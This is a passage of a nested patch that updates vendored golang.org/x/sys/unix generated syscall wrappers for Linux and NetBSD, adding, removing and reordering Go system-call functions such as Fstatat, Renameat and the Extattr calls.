--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-+ r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1111,82 +62,8 @@ func writelen(fd int, p *byte, np int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall6(SYS_FADVISE64, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1195,8 +72,8 @@ func Mlockall(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1205,15 +82,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-- n = int(r0)
-+func Fchown(fd int, uid int, gid int) (err error) {
-+ _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1222,8 +92,8 @@ func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1232,18 +102,13 @@ func Dup2(oldfd int, newfd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchown(fd int, uid int, gid int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
-- if e1 != 0 {
-- err = errnoErr(e1)
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall6(SYS_FSTATAT64, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1273,7 +138,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1281,7 +146,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1289,7 +154,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1307,7 +172,7 @@ func Getrlimit(resource int, rlim *Rlimit) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1409,6 +274,26 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Seek(fd int, offset int64, whence int) (off int64, err error) {
- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
- off = int64(r0)
-@@ -1442,8 +327,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1452,8 +338,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1778,6 +665,21 @@ func mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int6
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Gettimeofday(tv *Timeval) (err error) {
- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
- if e1 != 0 {
-@@ -1803,8 +705,13 @@ func Utime(path string, buf *Utimbuf) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe(p *[2]_C_int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1813,8 +720,8 @@ func pipe(p *[2]_C_int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func pipe(p *[2]_C_int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_386.go b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_386.go
-index db99fd0c..3bbd9e39 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_386.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -l32 -netbsd -tags netbsd,386 syscall_bsd.go syscall_netbsd.go syscall_netbsd_386.go
-+// go run mksyscall.go -l32 -netbsd -tags netbsd,386 syscall_bsd.go syscall_netbsd.go syscall_netbsd_386.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build netbsd,386
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -378,7 +362,7 @@ func pipe() (fd1 int, fd2 int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getdents(fd int, buf []byte) (n int, err error) {
-+func Getdents(fd int, buf []byte) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
- _p0 = unsafe.Pointer(&buf[0])
-@@ -395,6 +379,49 @@ func getdents(fd int, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ioctl(fd int, req uint, arg uintptr) (err error) {
-+ _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -526,6 +553,16 @@ func Dup2(from int, to int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Dup3(from int, to int, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP3, uintptr(from), uintptr(to), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Exit(code int) {
- Syscall(SYS_EXIT, uintptr(code), 0, 0)
- return
-@@ -533,6 +570,245 @@ func Exit(code int) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func ExtattrGetFd(fd int, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_GET_FD, uintptr(fd), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p0)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrSetFd(fd int, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_SET_FD, uintptr(fd), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p0)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrDeleteFd(fd int, attrnamespace int, attrname string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_EXTATTR_DELETE_FD, uintptr(fd), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p0)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrListFd(fd int, attrnamespace int, data uintptr, nbytes int) (ret int, err error) {
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_LIST_FD, uintptr(fd), uintptr(attrnamespace), uintptr(data), uintptr(nbytes), 0, 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrGetFile(file string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_GET_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrSetFile(file string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_SET_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrDeleteFile(file string, attrnamespace int, attrname string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_EXTATTR_DELETE_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrListFile(file string, attrnamespace int, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_LIST_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(data), uintptr(nbytes), 0, 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrGetLink(link string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_GET_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrSetLink(link string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_SET_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrDeleteLink(link string, attrnamespace int, attrname string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_EXTATTR_DELETE_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrListLink(link string, attrnamespace int, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_LIST_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(data), uintptr(nbytes), 0, 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall9(SYS_POSIX_FADVISE, uintptr(fd), 0, uintptr(offset), uintptr(offset>>32), 0, uintptr(length), uintptr(length>>32), uintptr(advice), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchdir(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -563,6 +839,21 @@ func Fchmod(fd int, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchown(fd int, uid int, gid int) (err error) {
- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
-@@ -573,6 +864,21 @@ func Fchown(fd int, uid int, gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Flock(fd int, how int) (err error) {
- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
-@@ -604,6 +910,31 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatvfs1(fd int, buf *Statvfs_t, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATVFS1, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -807,6 +1138,26 @@ func Link(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Listen(s int, backlog int) (err error) {
- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
-@@ -847,6 +1198,21 @@ func Mkdir(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
